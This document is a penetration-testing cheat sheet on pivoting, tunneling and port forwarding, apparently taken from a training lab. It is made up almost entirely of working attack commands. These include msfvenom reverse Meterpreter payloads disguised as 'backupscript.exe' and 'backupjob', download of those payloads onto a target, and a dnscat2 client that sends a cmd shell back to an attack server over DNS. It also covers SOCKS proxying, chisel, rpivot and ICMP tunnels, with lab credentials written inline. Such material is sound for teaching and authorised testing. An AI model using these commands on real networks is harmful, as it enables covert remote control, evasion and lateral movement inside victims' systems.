

PIVOTING, TUNNELING, AND PORT FORWARDING

CHEAT SHEET

Command	Description
<code>ifconfig</code>	Linux-based command that displays all current network configurations of a system.
<code>ipconfig</code>	Windows-based command that displays all system network configurations.
<code>netstat -r</code>	Command used to display the routing table for all IPv4-based protocols.
<code>nmap -sT -p22,3306 <IPAddressofTarget></code>	Nmap command used to scan a target for open ports allowing SSH or MySQL connections.
<code>ssh -L 1234:localhost:3306 Ubuntu@<IPAddressofTarget></code>	SSH command used to create an SSH tunnel from a local machine on local port 1234 to a remote target using port 3306.

Command	Description
<code>netstat -antp grep 1234</code>	Netstat option used to display network connections associated with a tunnel created. Using grep to filter based on local port 1234 .
<code>nmap -v -sV -p1234 localhost</code>	Nmap command used to scan a host through a connection that has been made on local port 1234 .
<code>ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPAddressofTarget></code>	SSH command that instructs the ssh client to request the SSH server forward all data via port 1234 to localhost:3306 .
<code>ssh -D 9050 ubuntu@<IPAddressofTarget></code>	SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
<code>tail -4 /etc/proxychains.conf</code>	Linux-based command used to display the last 4 lines of <code>/etc/proxychains.conf</code> . Can be used to ensure socks configurations are in place.
<code>proxychains nmap -v -sn 172.16.5.1-200</code>	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range 172.16.5.1-200 with increased verbosity (-v) disabling ping scan (-sn).

Command	Description
<code>proxychains nmap -v -Pn -sT 172.16.5.19</code>	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (-v), disabling ping discover (-Pn), and using TCP connect scan type (-sT).
<code>proxychains msfconsole</code>	Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
<code>msf6 > search rdp_scanner</code>	Metasploit search that attempts to find a module called rdp_scanner .
<code>proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123</code>	Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.
<code>msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080</code>	Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following lhost= on local port 8080 (LPORT=8080). Payload will take the form of an executable file called backupscript.exe .
<code>msf6 > use exploit/multi/handler</code>	Used to select the multi-handler exploit module in Metasploit.

Command	Description
<code>scp backupscript.exe ubuntu@<ipAddressofTarget>:~/</code>	Uses secure copy protocol (scp) to transfer the file backupscript.exe to the specified host and places it in the Ubuntu user's home directory (:~/).
<code>python3 -m http.server 8123</code>	Uses Python3 to start a simple HTTP server listening on port 8123 . Can be used to retrieve files from a host.
<code>Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"</code>	PowerShell command used to download a file called backupscript.exe from a webserver (172.16.5.129:8123) and then save the file to location specified after -OutFile .
<code>ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN</code>	SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port 8080 on the target to port 80 on the attack host.
<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost> -f elf -o backupjob LPOR=8080</code>	Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after LHOST= on port 8080 (LPOR=8080). Payload takes the form of an executable elf file called backupjob.

Command	Description
<pre>msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23</pre>	Metasploit command that runs a ping sweep module against the specified network segment (RHOSTS=172.16.5.0/23).
<pre>for i in {1..254} ;do (ping -c 1 172.16.5.\$i grep "bytes from" &) ;done</pre>	For Loop used on a Linux-based system to discover devices in a specified network segment.
<pre>for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 find "Reply"</pre>	For Loop used on a Windows-based system to discover devices in a specified network segment.
<pre>1..254 % {"172.16.5.\${_}: \$(Test-Connection - count 1 -comp 172.15.5.\${_} -quiet)"} }</pre>	PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.
<pre>msf6 > use auxiliary/server/socks_proxy</pre>	Metasploit command that selects the socks_proxy auxiliary module.
<pre>msf6 auxiliary(server/socks_proxy) > jobs</pre>	Metasploit command that lists all currently running jobs.
<pre>socks4 127.0.0.1 9050</pre>	Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.

Command	Description
<code>Socks5 127.0.0.1 1080</code>	Line of text that should be added to <code>/etc/proxychains.conf</code> to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.
<code>msf6 > use post/multi/manage/autoroute</code>	Metasploit command used to select the autoroute module.
<code>meterpreter > help portfwd</code>	Meterpreter command used to display the features of the portfwd command.
<code>meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget></code>	Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.

<code>xfreerdp /v:localhost:3300 /u:victor /p:pass@123</code>	Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.
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Command	Description
<code>netstat -antp</code>	Used to display all (-a) active network connections with associated process IDs. -t displays only TCP connections. -n displays only numerical addresses. -p displays process IDs associated with each displayed connection.
<code>meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost></code>	Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port 1234 listening on the IP address of the Attack Host.
<code>meterpreter > bg</code>	Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux
<code>socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80</code>	Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
<code>socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443</code>	Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.

Command	Description
<code>plink -D 9050 ubuntu@<IPAddressofTarget></code>	Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
<code>sudo apt-get install sshuttle</code>	Uses apt-get to install the tool sshuttle.
<code>sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v</code>	Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (172.16.5.0).
<code>sudo git clone https://github.com/klsecservices/rpivot.git</code>	Clones the rpivot project GitHub repository.
<code>sudo apt-get install python2.7</code>	Uses apt-get to install python2.7.
<code>python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0</code>	Used to run the rpivot server (server.py) on proxy port 9050 , server port 9999 and listening on any IP address (0.0.0.0).
<code>scp -r rpivot ubuntu@<IPAddressOfTarget></code>	Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.

Command	Description
<pre>python2.7 client.py --server-ip 10.10.14.18 --server-port 9999</pre>	Used to run the rpivot client (client.py) to connect to the specified rpivot server on the appropriate port.
<pre>proxychains firefox-esr <IPAddressofTargetWebServer>:80</pre>	Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.
<pre>python client.py --server-ip <IPAddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPAddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password></pre>	Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
<pre>netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25</pre>	Windows-based command that uses netsh.exe to configure a portproxy rule called v4tov4 that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.
<pre>netsh.exe interface portproxy show v4tov4</pre>	Windows-based command used to view the configurations of a portproxy rule called v4tov4.
<pre>git clone https://github.com/iagox86/dnscat2.git</pre>	Clones the dnscat2 project GitHub repository.

Command	Description
<code>sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache</code>	Used to start the dnscat2.rb server running on the specified IP address, port (53) & using the domain inlanefreight.local with the no-cache option enabled.
<code>git clone https://github.com/lukebaggett/dnscat2-powershell.git</code>	Clones the dnscat2-powershell project Github repository.
<code>Import-Module dnscat2.ps1</code>	PowerShell command used to import the dnscat2.ps1 tool.
<code>Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd</code>	PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (-Exec cmd).
<code>dnscat2> ?</code>	Used to list dnscat2 options.
<code>dnscat2> window -i 1</code>	Used to interact with an established dnscat2 session.
<code>./chisel server -v -p 1234 --socks5</code>	Used to start a chisel server in verbose mode listening on port 1234 using SOCKS version 5.
<code>./chisel client -v 10.129.202.64:1234 socks</code>	Used to connect to a chisel server at the specified IP address & port using socks.

Command	Description
<code>git clone https://github.com/utoni/ptunnel-ng.git</code>	Clones the ptunnel-ng project GitHub repository.
<code>sudo ./autogen.sh</code>	Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
<code>sudo ./ptunnel-ng -r10.129.202.64 -R22</code>	Used to start the ptunnel-ng server on the specified IP address (-r) and corresponding port (-R22).
<code>sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22</code>	Used to connect to a specified ptunnel-ng server through local port 2222 (-l2222).
<code>ssh -p2222 -lubuntu 127.0.0.1</code>	SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.
<code>regsvr32.exe SocksOverRDP-Plugin.dll</code>	Windows-based command used to register the SocksOverRDP-Plugin.dll.
<code>netstat -antb findstr 1080</code>	Windows-based command used to list TCP network connections listening on port 1080.